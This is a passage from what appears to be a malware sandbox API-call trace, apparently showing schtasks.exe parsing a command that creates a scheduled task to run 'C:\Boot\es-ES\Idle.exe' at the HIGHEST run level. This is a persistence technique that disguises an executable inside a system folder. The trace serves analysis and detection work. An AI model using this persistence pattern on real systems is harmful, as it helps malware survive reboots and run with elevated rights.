_Buffer="|tr|") returned 4 [0134.841] lstrlenW (lpString="|tr|") returned 4 [0134.841] lstrlenW (lpString="|tr|") returned 4 [0134.841] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0134.841] SetLastError (dwErrCode=0x0) [0134.841] SetLastError (dwErrCode=0x0) [0134.841] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0134.841] lstrlenW (lpString="-/") returned 2 [0134.841] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0134.841] SetLastError (dwErrCode=0x490) [0134.841] SetLastError (dwErrCode=0x490) [0134.841] SetLastError (dwErrCode=0x0) [0134.841] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0134.841] StrChrIW (lpStart="'C:\\Boot\\es-ES\\Idle.exe'", wMatch=0x3a) returned=":\\Boot\\es-ES\\Idle.exe'" [0134.841] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0134.841] _memicmp (_Buf1=0x30d4d0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.841] _memicmp (_Buf1=0x30d510, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.841] SetLastError (dwErrCode=0x7a) [0134.841] SetLastError (dwErrCode=0x0) [0134.841] SetLastError (dwErrCode=0x0) [0134.841] lstrlenW (lpString="'C") returned 2 [0134.841] lstrlenW (lpString="-/") returned 2 [0134.841] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0134.841] SetLastError (dwErrCode=0x490) [0134.842] SetLastError (dwErrCode=0x490) [0134.842] SetLastError (dwErrCode=0x0) [0134.842] _memicmp (_Buf1=0x30d490, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.842] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0134.842] GetProcessHeap () returned 0x2f0000 [0134.842] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d550) returned 1 [0134.842] GetProcessHeap () returned 0x2f0000 [0134.842] RtlReAllocateHeap (Heap=0x2f0000, Flags=0xc, Ptr=0x30d550, Size=0x32) returned 0x307ae0 [0134.842] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0134.842] lstrlenW (lpString=" \x09") returned 2 [0134.842] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0134.842] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0134.842] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0134.842] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0134.842] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0134.842] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0134.842] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0134.842] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0134.842] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0134.842] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0134.842] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0134.842] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0134.842] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0134.842] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0134.842] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0134.842] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0134.842] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0134.842] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0134.842] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0134.843] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0134.843] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0134.843] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0134.843] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0134.843] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0134.843] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0134.843] GetLastError () returned 0x0 [0134.843] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0134.843] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0134.843] SetLastError (dwErrCode=0x0) [0134.843] SetLastError (dwErrCode=0x0) [0134.843] lstrlenW (lpString="/rl") returned 3 [0134.843] lstrlenW (lpString="-/") returned 2 [0134.843] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.843] lstrlenW (lpString="create") returned 6 [0134.843] lstrlenW (lpString="create") returned 6 [0134.843] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.843] lstrlenW (lpString="rl") returned 2 [0134.843] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.843] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|create|") returned 8 [0134.843] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.843] lstrlenW (lpString="|create|") returned 8 [0134.843] lstrlenW (lpString="|rl|") returned 4 [0134.843] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0134.843] SetLastError (dwErrCode=0x490) [0134.843] lstrlenW (lpString="?") returned 1 [0134.844] lstrlenW (lpString="?") returned 1 [0134.844] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.844] lstrlenW (lpString="rl") returned 2 [0134.844] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.844] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|?|") returned 3 [0134.844] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.844] lstrlenW (lpString="|?|") returned 3 [0134.844] lstrlenW (lpString="|rl|") returned 4 [0134.844] SetLastError (dwErrCode=0x490) [0134.844] lstrlenW (lpString="s") returned 1 [0134.844] lstrlenW (lpString="s") returned 1 [0134.844] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.844] lstrlenW (lpString="rl") returned 2 [0134.844] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.844] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|s|") returned 3 [0134.844] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.844] lstrlenW (lpString="|s|") returned 3 [0134.844] lstrlenW (lpString="|rl|") returned 4 [0134.844] SetLastError (dwErrCode=0x490) [0134.844] lstrlenW (lpString="u") returned 1 [0134.844] lstrlenW (lpString="u") returned 1 [0134.844] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.844] lstrlenW (lpString="rl") returned 2 [0134.844] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.845] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|u|") returned 3 [0134.845] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.845] lstrlenW (lpString="|u|") returned 3 [0134.845] lstrlenW (lpString="|rl|") returned 4 [0134.845] SetLastError (dwErrCode=0x490) [0134.845] lstrlenW (lpString="p") returned 1 [0134.845] lstrlenW (lpString="p") returned 1 [0134.845] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.845] lstrlenW (lpString="rl") returned 2 [0134.845] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.845] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|p|") returned 3 [0134.845] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.845] lstrlenW (lpString="|p|") returned 3 [0134.845] lstrlenW (lpString="|rl|") returned 4 [0134.845] SetLastError (dwErrCode=0x490) [0134.845] lstrlenW (lpString="ru") returned 2 [0134.845] lstrlenW (lpString="ru") returned 2 [0134.845] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.845] lstrlenW (lpString="rl") returned 2 [0134.845] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.845] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|ru|") returned 4 [0134.845] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.845] lstrlenW (lpString="|ru|") returned 4 [0134.845] lstrlenW (lpString="|rl|") returned 4 [0134.845] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0134.845] SetLastError (dwErrCode=0x490) [0134.846] lstrlenW (lpString="rp") returned 2 [0134.846] lstrlenW (lpString="rp") returned 2 [0134.846] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.846] lstrlenW (lpString="rl") returned 2 [0134.846] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.846] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rp|") returned 4 [0134.846] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.846] lstrlenW (lpString="|rp|") returned 4 [0134.846] lstrlenW (lpString="|rl|") returned 4 [0134.846] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0134.846] SetLastError (dwErrCode=0x490) [0134.846] lstrlenW (lpString="sc") returned 2 [0134.846] lstrlenW (lpString="sc") returned 2 [0134.846] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.846] lstrlenW (lpString="rl") returned 2 [0134.846] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.846] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0134.846] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.846] lstrlenW (lpString="|sc|") returned 4 [0134.846] lstrlenW (lpString="|rl|") returned 4 [0134.846] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0134.846] SetLastError (dwErrCode=0x490) [0134.846] lstrlenW (lpString="mo") returned 2 [0134.846] lstrlenW (lpString="mo") returned 2 [0134.846] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.847] lstrlenW (lpString="rl") returned 2 [0134.847] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.847] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0134.847] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.847] lstrlenW (lpString="|mo|") returned 4 [0134.847] lstrlenW (lpString="|rl|") returned 4 [0134.847] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0134.847] SetLastError (dwErrCode=0x490) [0134.847] lstrlenW (lpString="d") returned 1 [0134.847] lstrlenW (lpString="d") returned 1 [0134.847] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.847] lstrlenW (lpString="rl") returned 2 [0134.847] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.847] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|d|") returned 3 [0134.847] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.847] lstrlenW (lpString="|d|") returned 3 [0134.847] lstrlenW (lpString="|rl|") returned 4 [0134.847] SetLastError (dwErrCode=0x490) [0134.847] lstrlenW (lpString="m") returned 1 [0134.847] lstrlenW (lpString="m") returned 1 [0134.847] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.847] lstrlenW (lpString="rl") returned 2 [0134.847] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.847] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|m|") returned 3 [0134.847] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.847] lstrlenW (lpString="|m|") returned 3 [0134.848] lstrlenW (lpString="|rl|") returned 4 [0134.848] SetLastError (dwErrCode=0x490) [0134.848] lstrlenW (lpString="i") returned 1 [0134.848] lstrlenW (lpString="i") returned 1 [0134.848] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.848] lstrlenW (lpString="rl") returned 2 [0134.848] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.848] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|i|") returned 3 [0134.848] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.848] lstrlenW (lpString="|i|") returned 3 [0134.848] lstrlenW (lpString="|rl|") returned 4 [0134.848] SetLastError (dwErrCode=0x490) [0134.848] lstrlenW (lpString="tn") returned 2 [0134.848] lstrlenW (lpString="tn") returned 2 [0134.848] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.848] lstrlenW (lpString="rl") returned 2 [0134.848] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.848] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0134.848] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.848] lstrlenW (lpString="|tn|") returned 4 [0134.848] lstrlenW (lpString="|rl|") returned 4 [0134.848] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0134.848] SetLastError (dwErrCode=0x490) [0134.848] lstrlenW (lpString="tr") returned 2 [0134.848] lstrlenW (lpString="tr") returned 2 [0134.848] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.849] lstrlenW (lpString="rl") returned 2 [0134.849] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.849] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0134.849] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.849] lstrlenW (lpString="|tr|") returned 4 [0134.849] lstrlenW (lpString="|rl|") returned 4 [0134.849] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0134.849] SetLastError (dwErrCode=0x490) [0134.849] lstrlenW (lpString="st") returned 2 [0134.849] lstrlenW (lpString="st") returned 2 [0134.849] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.849] lstrlenW (lpString="rl") returned 2 [0134.849] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.849] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|st|") returned 4 [0134.849] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.849] lstrlenW (lpString="|st|") returned 4 [0134.849] lstrlenW (lpString="|rl|") returned 4 [0134.849] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0134.849] SetLastError (dwErrCode=0x490) [0134.849] lstrlenW (lpString="sd") returned 2 [0134.849] lstrlenW (lpString="sd") returned 2 [0134.849] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.849] lstrlenW (lpString="rl") returned 2 [0134.849] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.849] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sd|") returned 4 [0134.849] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.850] lstrlenW (lpString="|sd|") returned 4 [0134.850] lstrlenW (lpString="|rl|") returned 4 [0134.850] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0134.850] SetLastError (dwErrCode=0x490) [0134.850] lstrlenW (lpString="ed") returned 2 [0134.850] lstrlenW (lpString="ed") returned 2 [0134.850] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.850] lstrlenW (lpString="rl") returned 2 [0134.850] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.850] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|ed|") returned 4 [0134.850] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.850] lstrlenW (lpString="|ed|") returned 4 [0134.850] lstrlenW (lpString="|rl|") returned 4 [0134.850] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0134.850] SetLastError (dwErrCode=0x490) [0134.850] lstrlenW (lpString="it") returned 2 [0134.850] lstrlenW (lpString="it") returned 2 [0134.850] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.850] lstrlenW (lpString="rl") returned 2 [0134.850] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.850] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|it|") returned 4 [0134.850] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.850] lstrlenW (lpString="|it|") returned 4 [0134.850] lstrlenW (lpString="|rl|") returned 4 [0134.850] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0134.850] SetLastError (dwErrCode=0x490) [0134.850] lstrlenW (lpString="et") returned 2 [0134.851] lstrlenW (lpString="et") returned 2 [0134.851] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.851] lstrlenW (lpString="rl") returned 2 [0134.851] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.851] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|et|") returned 4 [0134.851] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.851] lstrlenW (lpString="|et|") returned 4 [0134.851] lstrlenW (lpString="|rl|") returned 4 [0134.851] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0134.851] SetLastError (dwErrCode=0x490) [0134.851] lstrlenW (lpString="k") returned 1 [0134.851] lstrlenW (lpString="k") returned 1 [0134.851] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.851] lstrlenW (lpString="rl") returned 2 [0134.851] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.851] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|k|") returned 3 [0134.851] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.851] lstrlenW (lpString="|k|") returned 3 [0134.851] lstrlenW (lpString="|rl|") returned 4 [0134.851] SetLastError (dwErrCode=0x490) [0134.851] lstrlenW (lpString="du") returned 2 [0134.851] lstrlenW (lpString="du") returned 2 [0134.851] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.851] lstrlenW (lpString="rl") returned 2 [0134.851] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.851] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|du|") returned 4 [0134.852] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.852] lstrlenW (lpString="|du|") returned 4 [0134.852] lstrlenW (lpString="|rl|") returned 4 [0134.852] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0134.852] SetLastError (dwErrCode=0x490) [0134.852] lstrlenW (lpString="ri") returned 2 [0134.852] lstrlenW (lpString="ri") returned 2 [0134.852] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.852] lstrlenW (lpString="rl") returned 2 [0134.852] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.852] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|ri|") returned 4 [0134.852] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.852] lstrlenW (lpString="|ri|") returned 4 [0134.852] lstrlenW (lpString="|rl|") returned 4 [0134.852] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0134.852] SetLastError (dwErrCode=0x490) [0134.852] lstrlenW (lpString="z") returned 1 [0134.852] lstrlenW (lpString="z") returned 1 [0134.852] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.852] lstrlenW (lpString="rl") returned 2 [0134.852] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.852] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|z|") returned 3 [0134.852] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.852] lstrlenW (lpString="|z|") returned 3 [0134.852] lstrlenW (lpString="|rl|") returned 4 [0134.852] SetLastError (dwErrCode=0x490) [0134.853] lstrlenW (lpString="f") returned 1 [0134.853] lstrlenW (lpString="f") returned 1 [0134.853] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.853] lstrlenW (lpString="rl") returned 2 [0134.853] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.853] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0134.853] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.853] lstrlenW (lpString="|f|") returned 3 [0134.853] lstrlenW (lpString="|rl|") returned 4 [0134.853] SetLastError (dwErrCode=0x490) [0134.853] lstrlenW (lpString="v1") returned 2 [0134.853] lstrlenW (lpString="v1") returned 2 [0134.853] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.853] lstrlenW (lpString="rl") returned 2 [0134.853] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.853] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|v1|") returned 4 [0134.853] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.853] lstrlenW (lpString="|v1|") returned 4 [0134.853] lstrlenW (lpString="|rl|") returned 4 [0134.853] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0134.853] SetLastError (dwErrCode=0x490) [0134.853] lstrlenW (lpString="xml") returned 3 [0134.853] lstrlenW (lpString="xml") returned 3 [0134.853] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.853] lstrlenW (lpString="rl") returned 2 [0134.853] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.854] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|xml|") returned 5 [0134.854] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.854] lstrlenW (lpString="|xml|") returned 5 [0134.854] lstrlenW (lpString="|rl|") returned 4 [0134.854] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0134.854] SetLastError (dwErrCode=0x490) [0134.854] lstrlenW (lpString="ec") returned 2 [0134.854] lstrlenW (lpString="ec") returned 2 [0134.854] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.854] lstrlenW (lpString="rl") returned 2 [0134.854] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.854] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|ec|") returned 4 [0134.854] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.854] lstrlenW (lpString="|ec|") returned 4 [0134.854] lstrlenW (lpString="|rl|") returned 4 [0134.856] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0134.856] SetLastError (dwErrCode=0x490) [0134.856] lstrlenW (lpString="rl") returned 2 [0134.856] lstrlenW (lpString="rl") returned 2 [0134.856] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.856] lstrlenW (lpString="rl") returned 2 [0134.856] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.856] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.856] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0134.856] lstrlenW (lpString="|rl|") returned 4 [0134.856] lstrlenW (lpString="|rl|") returned 4 [0134.856] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0134.856] SetLastError (dwErrCode=0x0) [0134.856] SetLastError (dwErrCode=0x0) [0134.856] lstrlenW (lpString="HIGHEST") returned 7 [0134.856] lstrlenW (lpString="-/") returned 2 [0134.856] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0134.856] SetLastError (dwErrCode=0x490) [0134.856] SetLastError (dwErrCode=0x490) [0134.856] SetLastError (dwErrCode=0x0) [0134.856] lstrlenW (lpString="HIGHEST") returned 7 [0134.856] StrChrIW 